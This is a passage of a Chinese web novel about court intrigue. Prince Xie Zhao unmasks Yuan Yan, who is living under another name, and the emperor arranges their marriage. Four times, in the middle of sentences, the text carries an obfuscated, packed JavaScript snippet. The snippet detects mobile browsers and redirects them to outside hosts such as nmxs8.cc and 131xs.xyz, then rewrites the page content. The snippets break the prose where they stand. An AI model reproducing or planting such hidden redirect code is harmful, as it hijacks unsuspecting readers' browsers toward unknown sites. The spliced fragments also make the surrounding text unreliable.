荷风忙说：“回殿下，方才属下见宫中那位掌印进府，不知说了什么，待翎公公离开，随后太妃便备车出门，属下瞧着方向，应是进宫了。” 谢兆眉头微蹙，“母亲已经许久不曾进宫，怎的今日……” 他忽然有种说不上来的异样感，但当想要立刻抓住那一丝感觉继续深挖，却又茫然无措起来。 “宫中近况如何？” 荷风道：“千善那边一切如常，就是姜氏与狄氏近日起了些争执，也许跟二殿下那日突然奉诏进宫有关。” “小二蛰伏这么些年，突然被我那皇兄记起，郭汝明同时假借儿子庆生之名笼络各路官员，小四却等于断了臂膀，姜氏这回怕是连安稳觉也睡不成了。” 荷风深以为然。 “不去理会，坐山观虎斗即可。” “还有一事，”荷风突然说，“是关于薛尚书府上的事，殿下可要听听？” 谢兆抬眼看他。 荷风收起玩闹的心思，正色道：“晌午礼部尚书的夫人崔氏去了薛府，属下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15443193|169396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 特意潜进去听了一耳朵，原来崔氏一直有意让薛大人那位嫡长女过门，却未料出了昨日那档子事，那崔氏先是兴师问罪一番，被薛夫人三言两语打发过去，之后又有个据说是薛夫人远方亲戚的姑娘匆匆而来，殿下，属下自小便被培养成为暗卫，易容之术自不陌生，但属下观那姑娘脸上并未覆着任何旁人面皮，可那张脸却跟薛大人的嫡长女有着六分神似，真真是桩怪事矣！” 谢兆神色晦暗，耐着性子，“然后？” “眼看婚事要黄，那姑娘声泪俱下，跪求崔氏，言说自己对二公子倾心已久，可以不要名分，只求在他身边伺候——想不到郭二那种怪癖之人，竟也有人乐意与之日日相对。” 谢兆倏然握紧拳，垂眸时，眼底阴霾暗生。 少顷，他低声吩咐荷风几句，荷风如来时那般领命而去。 － 薛崇贵按时散职，神色如常与同僚们招呼几声，几位同僚却只敢在心中嘀嘀咕咕，断不敢在面上有哪怕一两个字的嘲讽——有什么办法，户部尚书，管钱的，得罪了他谁能有什么好处？ 再说坊间传言再怎么离谱，那也是人家府中事，他们只图个茶余饭后的谈资，断不会没事找事犯蠢到人家脸上，得不偿失。 薛崇贵一路到了马车前，却未见到自家小厮候在原处，不由心生怪异，却也不做他想，许是内急也未可知，便掀帘而入，打算先进去等人过来便是。 谁知帘子半开之际，其中竟早已端坐一人。 “殿……” 谢兆唇色微白，见状笑了笑，招手道：“尚书大人，何故如此惊讶？且上来一叙。” 薛崇贵一时顾不得礼数，慌忙蹬车而入，待坐稳方后知后觉，这是他薛府马车，何来“一叙”之说？ 却也只敢在心中编排两句，嘴上则恭敬有加，“下官瞧殿下气色不大好，这是又病了一场？” 谢兆点点头，“劳薛大人挂怀。” “不敢不敢，”薛崇贵进而问说，“既然如此，殿下这是有急事找下官？” 谢兆不绕弯子，开门见山道：“确实，劳烦薛大人出面，我想见薛灵薛姑娘一面。” 薛崇贵猝不及防，“这……” “薛大人宽心，本王不会做什么出格之事，只是有些旧事想要当面问上一问。” “旧事？”薛崇贵恰到好处的皱起眉头，“殿下莫不是说笑，下官这个女儿去年才寻回，前后不过一年时间，与殿下何来的叙旧一说？” 谢兆此次虽元气大伤，但气势仍在，随便一个眼神也能教人噤若寒蝉，“薛大人，有些事你我心知肚明，不说的明明白白，是给彼此留些余地——本王要见阿彦，烦请薛大人莫再打哑谜装傻。” 薛崇贵沉默须臾，忽的全身一松，笑叹道：“殿下嗅觉敏锐，下官佩服。” 谢兆不为所动。 “也罢，左不过是个中间人，殿下既然已经知晓，那便不必再遮遮掩掩，待回到府中，殿下且在车中稍候片刻，下官自去将人请来。” 谢兆抬手敲了敲边框，马车随即一颠，之后不快不慢，匀速而行。 38. 第 38 章 袁彦自小门出来，门口候着的却并非府中小厮，马车也不是薛崇贵那辆。 “薛小姐，我家主人就在车上，还请您移步。”小厮不由分说，摆好脚凳，堵住她的退路，客客气气请她上车。 袁彦没说什么，镇定自若掀帘而入。 车内宽敞，即使容纳七八个人也不会显得逼仄，此刻两人相对而坐，中间隔着张方形木桌，上面摆着套茶具与棋盘，并三盘当季水果点心。 不动声色观了观谢兆的面色，袁彦心中疑惑，却不愿做任何推衍。 马车缓慢动起来。 谢兆安静煮茶，没有要开口的意思，袁彦看了看四处，伸手支开一扇小窗，不大，站在外面的人窥探不见，微风却恰好可以。 “父亲说殿下想要见阿灵一面，不知所为何事？” 谢兆舀了一匙茶汤进茶杯，推过去，“配着点心吃，可以解腻。” 袁彦看着桌上那盘做成花瓣形状的栗子糕，不明所以。 谢兆却目光灼灼，“你不想尝尝？” “所以殿下说想要见我，就是为了请我吃茶点？” 谢兆不回答，视线却总是落到她脸上，袁彦被瞧得不自在，只好伸手拿来一块，配着茶水轻咬一口。 “如何？” 袁彦道：“栗子糕做得过甜了，幸好有口茶，配在一块的确很解腻。” “你不喜欢？” “谈不上喜欢，不过是个满足口腹之欲的东西，”袁彦端起茶杯，抬眼与他对视，“殿下到底想要说什么？就算阿灵久居深闺见识粗浅，也不觉得刑部是个什么清闲的衙门，以致于教殿下——” “阿彦。” 袁彦缓慢咽下口中茶，轻放下茶杯，不知为什么，方才的回甘竟只剩涩然。 久远到已经模糊的画面逐渐有了个清晰样子，深冬子夜，后院湖边，有人也曾这样唤过她。 “阿彦！” “阿彦！” 那声音嘶哑，即使被冻水激到颤抖，也仍然执意拖出一地水迹，奔她而来。 彼时的她被人连拖带拽，除了瞪大眼睛将人死死记住外，别无他法。 “殿下……莫不是晃神了，”袁彦露出自认毫无破绽的一笑，“车中此刻便只有你我二人，可没有第三人呢！” 谢兆直勾勾地盯住她，不给分毫躲闪机会，似已隐忍到极限，他脸色愈发苍白，眼眶却不知不觉红了，半晌，才轻轻开口：“你……就一定要与我这般生分？” “殿下这是说的哪里话？阿灵与殿下相识不过数日，怎就与生分二字搭边了？”袁彦伸手拈出一颗黑色棋子，随意落在棋盘处，忽然笑起来，“阿……彦？莫不是阿灵这张脸生得与殿下哪位故人相似，教殿下一时之间，情难自禁了？”她点点头，“是阿灵的荣幸。” “阿彦！” 袁彦又伸长手臂拈出一枚白棋，落子亦随意，说话时语气更是淡然，“殿下应该已经听说了这两日市井上关于阿灵的那些事，如果没有别的事，阿灵就不奉陪了，烦请将阿灵送回原处，”话到此处，她微微一叹，却叹不出丁点愁苦，“毕竟眼下正遭万人唾骂，不好抛头露面——可好？” 谢兆不置可否。 袁彦让自己左手与右手对弈，无奈道：“难道殿下就不怕与阿灵同在一处待的久了，身上沾染晦气于名声有损？” 谢兆垂眼看棋盘，不过片刻，黑白棋子就已经厮杀胶着，难分胜负。 “殿下也喜欢对弈？” 谢兆沉默不语，脑海中却迅速闪过许多事，远的进的，与她有关的，桩桩件件，再到荷风今日所说的薛府诸事——忽然一阵微风顺着小窗吹入，眼前迷雾似也被吹开一角，谢兆蓦地按住那只伸到他面前拈棋的腕子，视线牢牢将她锁住，语气难以置信却又隐含了然，“原来都是你自己做的？！” 袁彦手被迫松开，棋子重新落回棋盒。 垂眸看过去，几息后她抿唇道：“殿下，你逾矩了。” 谢兆倏然反应过来，手劲微松，却在袁彦想要抽回时再次紧紧握住，不依不饶追问过去，“是不是？” 袁彦神色不耐，抬头对视片刻，却实在遭不住那双咄咄逼人的眼眸，只能败下阵来。 “是，”她别开目光，点头承认，“事情是我传出去的，有什么问题？” 谢兆视线紧追着她，“伤敌一千自损八百的事为何还要做？” “我喜欢！”袁彦用力挣开他的手，轻轻揉捏疼痛部位，没好气道，“答案殿下还满意吗？现在可是能送我回府了？” “想要让郭二死心另有千百种办法，你为何偏要选这种得不偿失的？” “为了省去所有麻烦。” “那麻烦也包括我？” 袁彦心头重重一跳，面上却是轻笑出声，“没错，最大麻烦便是殿下你，我从无意于所谓王妃之位，婚事于我而言更是累赘负担，奈何殿下步步紧逼，让我心中厌恶至极，没法子了，就只好出此下策，好教殿下以及平京城所有人都趁早死了这条心！” 谢兆静静看着她，即使听见她将他说到如此不堪，眼里心间也还是无波无澜，因为他不信。 “本王并非三岁孩童，阿彦下回如果再想狡辩，得把缘由编得更合理些才好让人信服。” “你！”袁彦实在没想到谢兆如此难缠，她心中气急，却也知道此刻断不能继续把话说到更重，否则若被扣上冒犯瑞王殿下之大不敬的帽子任他拿捏，那才是真的得不偿失。 思及此，袁彦平复心情，能屈能伸道：“好，下次殿下如果还想听，我会好好编个像样的理由，保证让人深信不疑！” 谢兆眼底有了些许笑意。 袁彦已被磨得没什么脾气，好声好气地又问一遍，“所以，现在可以回去了吗？” 谢兆敲了敲边框。 “这栗子糕是特意给你做的，还有些时间，配着茶把它吃完吧。” 马车慢吞吞地调转方向，袁彦吃点心喝茶，继续左右手对弈，相顾无言。 也许是点心甜腻得太过，谢兆已经连着为她添了好几次茶。 “反正离着薛府尚有段距离，阿彦有没有兴致，听我讲个故事？”沉默半晌，谢兆忽然提议。 袁彦闻言弈棋暂歇，“殿下讲的故事可不是谁都能听到的，必定洗耳恭听。” 谢兆先是沉默片刻，仿佛是在斟酌如何开头，“很多年前，我在经常休 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15443194|169396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 憩的古树上认识了一个同样喜欢爬树睡觉的小姑娘，我年长她几岁，互道姓名后，她便每日跟在我身后，叫我‘兆儿哥哥’。” “她同我无话不说。” “她告诉我因为娘亲同爹爹吵架双双负气离家，她才得以趁机出来疯玩，爹娘一走便是月余，她就跟我玩了月余。” “她说家中长辈管得严，平日里根本不教她吃甜食，好不容易出来，一定要吃遍全平京城的糖糕铺子。” “她最喜欢吃那甜得发腻的栗子糕，总说如果再甜些就更妙了，她会在肚子吃得滚圆时拍着肚皮告诉我，说兆儿哥哥，如果全城的栗子糕都能在我腹中安家，那就真真是妙极了！” “我很喜欢她说‘妙极’时的样子，很可爱。” 袁彦将手里剩的一小块糕丢进嘴里，细嚼慢咽。 故事尚未完，谢兆却不往下说，袁彦等了一会，只好问出来，“然后呢？” 谢兆看向她，又垂下眼，眼底是浓墨一样的失落，低声道：“然后我让人将全城糖糕铺子的栗子糕都买回来，却再没机会给她吃了。” 袁彦喝茶顺了顺喉咙，她好像已经知道了原因，却仍旧问他：“为何？” “她家中生变，阖家百余口一夜之间都被烧成了灰，”谢兆重新抬起头，不躲不闪与她对视，“等我过去的时候，只来得及收拢一二分，其余都教风给吹散了。” 袁彦倏然敛起眉目，竭力憋回那阵翻涌上来的泪意，有些无所适从，“那……”开口方才惊觉自己竟在隐隐颤抖，涩然地险些发不出声音，她连忙深吸口气，尽量不让自己露出破绽，“你那个小女孩的朋友呢？是也被……烧了？” 车内突然安静下，只有车轮轱辘滚过地面的声响传回。 许久没得到答案，袁彦忍不住悄悄抬头，却正对上谢兆坦坦荡荡的双眸。 “到底还要我如何说得更直白，你才肯与我坦白身份——阿彦？” 袁彦低头看向自己那盘棋，黑棋仿佛瞬间四面楚歌，垂死挣扎着一线生机，她努力想要找一条出路，却惊觉自己内心早已纷乱如麻，匆匆忙忙落下一子，眼睁睁看着谢兆手执白棋，仅凭一招便教她束手无策乖乖缴械。 胜负立分。 “坦白了又如何？”袁彦想露出个笑容，却发现嘴角僵得似乎动一下都很难，于是果断放弃，“我早已不喜欢栗子糕，无论其中放了多少糖。” “那你现在，喜欢什么？”他语含试探，带着用力忍耐对抗那些内里奔腾情绪后的沉稳。 袁彦摇头。 谢兆伸手过去，似是想去触碰她的脸，中途却又改道，一颗一颗拈起白子放回棋盒。 “有没有什么是我能为你做的？ “我家人的骨灰，你当真收拢了回来？” 谢兆遗憾道：“只能勉强装满一坛，被我葬在了南山一处风水地。” “我想去看看。” “好，”谢兆像是得了莫大欢喜，眼底一瞬间仿佛添了绚烂光彩，眼眶再次红起来，连说几次“好”，“你何时有空，只需知会一句，我来接你。” 袁彦一时间似被烧灼，视线移开落向别处，“那就明日。” “好。” 39. 第 39 章 将近傍晚的时候，司空青蓝的马车才缓缓停靠在瑞王府门前。 门房殷勤端来脚凳，郑嬷嬷小心翼翼扶着司空青蓝下来。 “太妃当心脚下。” 先前在奉天殿内强撑一口端庄气，回程这一路司空青蓝都好似被抽干了全身精气神，倚在郑嬷嬷肩头假寐，此刻回了府中，便再无需刻意遮掩，病恹恹地坐在厅前。 “走时灶上就煨了养心汤，奴婢现在就去给太妃端来？” 司空青蓝疲惫点头，“喝点也好，省得待会说话没力气。” 郑嬷嬷朝门口候着的丫鬟招了招手，丫鬟默默后退几步，转身往小厨房去。 “去临风阁将兆儿请过来。” 郑嬷嬷暗自叹了口气，心事重重出前厅往临风阁去。 谢兆比司空青蓝早回来一个时辰，先前带着袁彦一路慢悠悠出了平京去往西郊，又刻意慢吞吞回返，即使这样，仍教人生了些依依不舍的眷恋，好似听她多说一个字，都足以填补这么多年无论怎么圆满都显得空荡的心。 独自回味时，听见郑嬷嬷在外说话。 “母亲可用过饭了？” 郑嬷嬷尽量不让情绪外露，站在门边回话道：“太妃问殿下晚饭可有用过，若是尚未，便过去同太妃一道吃吧。” 谢兆没立刻回应，心中却已知晓，母亲白日走的这一趟皇宫定是出了什么不小的事，否则定会如往常那般留在宫中用膳，也断不会一回来就要叫他过去。 “只用了些茶点，”谢兆放下书册起身来到门边，“郑嬷嬷且先回去陪母亲，我稍后便到。” 郑嬷嬷欲言又止，终归碍于主仆有别，低低应了一声，匆匆返去前厅。 谢兆思索片刻，“荷风？” 一直安静候在房梁上的荷风在空中翻滚几圈后稳稳落地，“殿下，我在呢！” “水玉楼的案子是时候了结了，继续深挖姜祝两家以及四殿下的隐秘事，明面上安排一个凶犯傀儡，到时候我会让刑部的人前去料理。” 荷风半句废话都没有，“放心殿下，这件事保证做到天衣无缝，任是神探在世也别想从中找出丝毫破绽！” “去吧。” 谢兆换了身轻便的衣裳，去往司空青蓝的院子。 饭菜已经摆上桌，郑嬷嬷正在细心布菜。 “母亲。”谢兆见司空青蓝双眼放空，只好轻唤一声。 司空青蓝回过神，勉强露出一抹笑，“兆儿，快坐。” 谢兆提箸夹了根笋到司空青蓝的碗中，随口道：“白日听家仆说母亲出门去了，可是遇了什么不愉快？” 司空青蓝没什么心思吃饭，却还是将芦笋放进嘴里缓缓咀嚼，谢兆耐心十足，并未表现出探究意味，见她动筷，自己也慢慢吃了起来。 “这几年府里时常举办各种宴席，平京城中各家府眷基本都来相看过，真就一个都没看得上的？”司空青蓝的声音是深思熟路后的沉缓，即使内心愤怒与焦急并行，也不能轻易教她变色。 谢兆无奈，“母亲。” “上次的也没有？” 谢兆举箸的动作一顿，随即撂下碗筷，“母亲，咱们府中如今就只剩你我母子两个主人，所以无需这般藏掖试探，如果有话，不妨直说。” 司空青蓝微微一叹，眉心蹙起，“你可知今日我去了何处？” 谢兆亦是有话直说：“宫中。” 司空青蓝抬眼看过去，忽然道：“你父亲去时给留下的暗卫，可有尽职尽责？可有泄露过踪迹？” “不曾，”谢兆摇头，“他们都很能干得力，这些年从未懈怠过，除我之外，没人知晓他们所有人的身份与动向。” 司空青蓝放下心来，继续之前的话，“宫中那位今日叫我前去，是给你赐了婚。” 谢兆不动声色，缓缓问道：“谁家？” 司空青蓝道：“薛崇贵那位嫡长女。” 搭在桌上的手微微卷起，谢兆压下心中突兀而出的不知是喜悦亦或激动的情绪，稳着声音继续问：“原因？” 司空青蓝眼底冷意聚集，隔墙有耳似的将声音放得更低，“他到底是年龄大了，这些年越发乐意胡闹，所做的事情中，有几件能够说得通逻辑？在那个位子上坐了大半辈子，土埋半截竟开始由着自己胡作非为！” 谢兆却说：“母亲稍安，儿子倒觉得他这件事做得并不像欠考虑，而是的确专门推敲过了的。” 司空青蓝看了他好一会，蓦地笑了笑，发自内心道：“兆儿果真长大了。” “母亲……” “好，我不说这个，”这一路都仿佛有块重物压在心头的感觉终于在此刻轻松起来，司空青蓝喝了口养心汤，“虽说自你父亲故去，咱们王府便一蹶不振不似往日，但古语言瘦死的骆驼比马大，宫中那位上位至今，呼风唤雨，看似事事顺遂，心中却始终忌惮着你。” 谢兆默然。 “他不敢杀你，更不敢寻什么无理由头轻贱于你，因为他不知道你父亲走时是否给你安排过后手，更不知我手里到底还有什么底牌，他怕一旦动了杀心，非但伤你不得，反倒剑尖向内，他自己打草惊蛇赔了夫人又折兵。” “这些年他屡屡试探，都被我挡了回去，你去刑部任职之事，是用扬州刺史那棵墙头草的命换来的，他死不足惜，却让宫中更加如临大敌，”司空青蓝低低叹息，面色疲累，“可我又能再挡几年呢？人终归有死的那日，至时宫中少了大半顾忌，就算你能死里逃生，可在北梁境内，恐怕再无能容你之处。” 谢兆说：“既如此，他何不耐心等到那天到来？莫不是宫中出了什么变数，他认为自己等不到了？” “他的身体状况只有太医院杜提点一人最为清楚，就连窦太医都无从接触，”司空青蓝摇头，“杜提点的妹妹这几年独得圣宠，就连姜氏与狄氏都没办法撼动她分毫，幸而那杜氏膝下只有一位年方十岁的长平公主，否则姜狄那两位若联合起来，杜氏怕是早早便入了土去。” “可这些与我婚事何干？为何他偏偏选中薛府嫡女？” “那位薛千金近日名声受损颇重，恰巧宫中那位不知该拿你如何，而薛大人也欲向他讨个金口玉言，他便将两件事合并一处，既给了薛大人一个定心丸，还能恶心了你。而你因为外头那些说辞，必定心生芥蒂，这样就算我们与尚书府结亲，也不是什么良缘，你更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15443195|169396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无力可借。” 谢兆听完，微微松了口气，“母亲就是为着这件事烦闷不已？” “这难道还会是什么好事？” 谢兆说：“事在人为，谁能说得准呢？” 司空青蓝不明所以。 谢兆眼底逐渐染上笑意，认真道：“母亲，既是皇家赐婚，儿子没什么异议，愿意娶。” 司空青蓝愣愣望着她，郑嬷嬷更是震惊不已，“殿下？” “母亲，实话与你说了罢，自那日打春宴上见过一面起，儿子便已倾慕于她，也早就同她言明自己心意，本还犯愁该如何处理这之中的种种障碍，而今得到宫中赐婚，便再无任何顾虑，择吉日完婚便是。” “当真？”司空青蓝难以置信，“可外头那些事真真假假，你当真半点不介意？你要知道人言可畏，就算有宫中的金口玉言，可又怎能完完全全堵得住悠悠众口，传扬出去，怕是要连你一并指摘嘲笑了！” 谢兆眼神熠熠，“母亲，娶亲是儿子娶，薛府嫁女亦是她嫡长女嫁，旁人不必替我成婚，更不能替她嫁我，往后的日子终归是我二人自己过，安知其中乐趣非我所求？至于人言可畏，我与她都不是能被三言两语左右之人，唾沫淹不死我和她。” 司空青蓝半晌没回过神来。 谢兆起身向她行了大礼，“母亲，儿子已做了决定，婚事上还请母亲和嬷嬷帮忙操持，若之中有用到儿子的地方，儿子定会全力配合。” 直到他告退离开，司空青蓝仍未从之前的震惊中回过味来。 郑嬷嬷见状更加担忧，轻声提醒，“太妃，殿下已经走了。” 司空青蓝慢慢侧过头，好半晌才问了句：“你上回说，她兴许并非正缘。” “哎呦，那都是婢子胡乱猜测的，哪能当得了真？”郑嬷嬷忙告罪，“太妃，且婢子瞧着殿下的神色，似乎并无任何勉强之处，相反听完后甚至还有些迫不及待了，好像成婚之事，越早越好，迟了怕生变故呢！” 司空青蓝闭上眼睛，脸色难掩疲色。 “罢了，圣旨都接了，明日你去请司天监的张监正，择个最近的吉日，将婚事尽快落实。” 郑嬷嬷不敢有任何他话，点头应是，“好在成婚之事早在太妃的计划中，所需东西都是现成的，就是不知薛府那边有无准备？” 司空青蓝道：“明日递个帖子去薛府，请薛大人过府一叙。” “是。” “难得的是兆儿心甘情愿，想必婚后定会用心经营，也算了却一桩心事，”司空青蓝起身，郑嬷嬷赶忙从旁虚扶，“我亦并非顽固之人，若她甘愿在府中安稳一世，就算传言是真，我也不会有任何轻贱于她的念头。” 郑嬷嬷道：“但愿薛家千金是个有福的。” 司空青蓝点头过后，便再无话。 与此同时，薛府。 薛崇贵散职回府，一路径直去往后院水天居，此刻他手握圣旨，端坐书房，与袁彦面对面。 “天恩难测，依靠帝王青睐注定不能长久，既然尚书府没办法一直护你周全，嫁进瑞王府，于你而言，利大于弊。” 袁彦低头摩挲圣旨上的纹路，久久无言。 40. 第 40 章 宫中，迎芳殿，杜贵妃寝殿。 屏退殿中伺候的丫鬟，太医院的杜仲杜提点给贵妃号过脉，边收拾东西边低声道：“那位身子不行了，粗略估算也就是这一两年的事。” 杜贵妃面不改色听完，轻声问道：“兄长可有应对之策？” 杜仲道：“如今有能力争夺那个位子的皇子除了二和四，再有就是一直不声不响的七。” “七？”杜贵妃疑惑，“兄长为何会认为他……” 当初摄政王把持朝政多年，让彼时身为大皇子的太庆帝蹉跎蛰伏半生，因而早在登基之前，府中便已有了几个儿女，但怪异的是子嗣虽多，夭折更多，这些年最终活下来的就只有一二四。 其中大殿下母妃病逝，伤心之际自请去边关镇守——北秣自打去年秋就蠢蠢欲动，意图跨越边境直捣平京，却几次都被大殿下斩断翅膀，损失惨重。 大殿下既做了此等决定，就已经明确告知所有人，这张名为“皇位”的桌子，他率先离开，再也不会上了。 而七殿下生于太庆帝登基之后，母亲不过是奉天殿内一个小小奉茶丫鬟，某日被帝王临幸，胆大包天更换避子汤，几次之后成功怀上龙胎，并巧妙避开姜狄二宫的迫害，九死一生诞下龙种。虽并未母凭子贵，好歹封了个灵美人，寝宫偏僻，很快被太庆帝抛却脑后，却也因此保全了母子二人性命。 再后来，七皇子八岁时突发重病，灵美人四处求药，可她一个不受宠几近入冷宫的小小美人，谁会冒着得罪姜狄二宫的风险，去救她的孩子呢？她甚至连帝王的衣角都没机会见到！就算他是皇子又如何，乳臭未干不成气候，连亲爹太庆帝都当他是耻辱，与其给他机会，不如任其自生自灭，把心思放到如何去讨好那两位已然树大根深了的。 可是有一天，七皇子的重症突然好了，命硬的好像连阎王也不敢收。 姜狄二宫自是疑窦丛生，着人明里暗里查，里里外外搜，皆是一无所获。 好在后面灵美人并未翻出任何浪花，太庆帝对此似乎一无所知，无论事前或事后，他都未曾过问一句。 “当年七殿下的病，我曾远远望过，的确是没救了的。” 此话一出，杜贵妃突然无端端打了个寒颤，即使已经屏退所有人，杜贵妃仍不放心地左瞧右看，“怎会？难不成是那灵美人行了什么巫蛊之术，强行给她儿子续命？可这么多年，为何从未露出过破绽？” 杜仲摇头，“敢在宫中行此等事，怕是灵美人嫌自己命长了！当那定国公府是摆设不成？”“定国公府”四个字，杜仲刻意压低嗓音，几近气声。 杜贵妃心惊胆战，“难道传闻是真的？” 杜仲道：“袁家那位长房长媳是什么身份，明面上虽然没人说，可不代表没人调查猜测过，”他声音低的几乎快要听不清，“能在南疆闯荡出名声的，会是什么善茬？” 杜贵妃在后宫仅凭一位公主便可得圣宠多年还能稳坐迎芳殿，不单单是靠着兄长的庇佑，她自己本身也不是那蠢笨之人，稍微用心想一想，就厘清了许多事，讶然道：“难道七皇子得救，是袁家在暗中施以援手？” “袁家长媳既是南疆出来的，医毒之道定然精通，太医院对七皇子的病症都束手无策，整个北梁大概也只她有办法，”杜仲目露赞赏，点头道，“所以说，此事有很大可能是袁家手笔，甚至可以说就是。” “可袁家人早就死光了，就算他们当时就选中了七皇子，又有何用？” 杜仲像是在作答，但更像是自言自语的复盘，“那位长媳曾经是那般厉害的人物，按理说应早早便料到府中结局，为何从无作为？为何任由事态发展，最后阖府上下都成一抔土？要是这样的话，他们还有什么谋划的必要？” “兄长的意思是……” “袁家的确早就料到了如今的一切，而且更是偷偷留下火种，”杜仲越说越觉得自己这番猜测合情合理，“也许他们注定没办法避开灭门，才将计就计利用这个机会，为后面的一切铺路。” 杜贵妃此刻真真是直观感受到了汗毛倒竖，她不由自主抓紧衣袖，悄声道：“那兄长打算如何？” “你我兄妹二人如今只是靠着陛下才能在平京城拥有一席之地，关于他的身体状况，整个太医院只有我一人清楚，陛下本人虽知情，却恨不能把这消息捂到进棺材那日，之所以还能在此谋划，不过是他权衡利弊后的结果。若将来某日被人知晓，尤其是二四两位虎视眈眈的皇子，届时我们面临的只会是一个尸首分离的下场。” 杜仲不觉得自己是在危言耸听，若新皇登基，首先就要拔除眼中钉肉中刺以此立威，而他的妹妹杜贵妃恃宠生娇，虽说已经是处处小心，可难免不被人悄悄记恨上，他们无依无靠，拿他们祭旗简直是好到不能更好的选择。 杜贵妃毛骨悚然。 杜仲几近耳语，“若我这个猜测是正确的，那么袁家留的后手定会在某个时间点和七皇子取得联系。为兄想让你做的，就是利用你近水楼台的优势，先一步接近灵美人，和七皇子建立起这层关系，我再偷偷放出关于陛下身体状况的消息，到时候无心之人听过也就罢了，有心之人听了去，必然会有所行动，我们就等在七皇子身边，或可助其一臂之力，至时得一个从龙之功，何愁日后没有傍身之筹码？” 杜贵妃心里没底，“可消息一旦传出，不光是袁家人知道，二四那两位必然也要一清二楚，还有陛下，我怕到时候事没成，他会先将你我打杀！” 杜仲咬牙，“那就得看袁家那位长媳是不是真的名副其实了，我们给自己谋出路，别人又何尝不是等机会？那后手若连这点事情都处理不好，还妄想助人夺嫡称帝，不是异想天开是什么？” 见妹妹仍然忧心忡忡，杜仲安慰道：“更何况，若真能被袁家选中留作后手，想必自身定有过人之处，如此一来，我们赢面很大。” 杜贵妃更加六神无主，“当真？” 杜仲道：“实在不行，我们便做两手准备，在二和四之间做出选择，成了，我们从此无忧，若败，就只好认命。” 杜贵妃眼眶不由红了，“兄长，我死不死不要紧，要紧的是长平，她明年才及笄，我……” “身不由己，北秣虎视眈眈，若平京生变，援军难以支撑远在边疆的大皇子，恐怕长平的下场，最好的情况，也就只有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15443196|169396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和亲一条路可走。” 杜贵妃纠结万分，心中天人交战——北秣人的血都是凉的，真将长平嫁过去，那还不如求一道圣旨直接赐她一死，至少还能留得体面，长平…… “兄长！” “莫怕，”杜仲下定决心，“为了长平，我们也不能坐以待毙！” － 薛崇贵今日散职，没有径直返家，而是让马夫改道，去了瑞王府。 帖子是今早直接送到户部的，这一整日薛崇贵的心神都没在身上，手底下的人大概嗅到了什么不寻常，都没主动到他跟前触霉头，怕一不小心就被殃及——毕竟赐婚这件事太庆帝并不打算偷偷摸摸，但大张旗鼓倒也不至于，在朝为官者，谁的心眼都不少，一两句话就能推出整件事，太庆帝只需三言两语的提点，此事就也等于人尽皆知了。 马车缓缓停靠，马夫轻敲车门处，“大人，瑞王府到了。” 早得了吴管家吩咐的门房小厮认出是户部尚书的马车，忙殷勤跑来帮着放下脚凳，“薛大人，太妃已经在前厅等候多时了，小的这就给您带路！” 薛崇贵小憩醒来，简单作一番整理，这才踩着脚凳下车。 行至半路，遇到闻讯而来的吴管家，吴管家礼数周到，让门房自去忙，自己则继续引人过去，“薛大人，请。” 这一路距离不近，薛崇贵却没心思欣赏府中那些独有景致，听说大多都是瑞王殿下亲自设计和参与制作的，外头想要模仿的不是原材料弄不到，就是匠人工钱太贵请不起，要么就是自己手艺不行，最后弄出个四不像来贻笑大方。 总之是别处绝对瞧不见的。 薛崇贵心里装着事，否则以他的性子，定会挨个好好观摩，反正做不出拉下脸伸手讨的事，多看看总归不亏。 “薛大人请，”吴管家把人领到前厅门口，“太妃就在里面等候。” 薛崇贵简单回礼，迈步而入。 “下官见过太妃娘娘。” 司空青蓝微微抬手，“今日招薛大人过来是为了兆儿与阿灵的婚事，亲事一定，日后便是一家人，薛大人不必拘礼。” 尽管如此说，薛崇贵还是按照北梁的礼法，给司空青蓝完完整整行了揖礼，“谢太妃娘娘。” 郑嬷嬷过去给薛崇贵看茶，司空青蓝道：“事出突然，耽误薛大人用晚饭，且先尝尝府上小食，后厨已经在做了，稍后事情谈妥，薛大人就留下用过饭再回吧。” 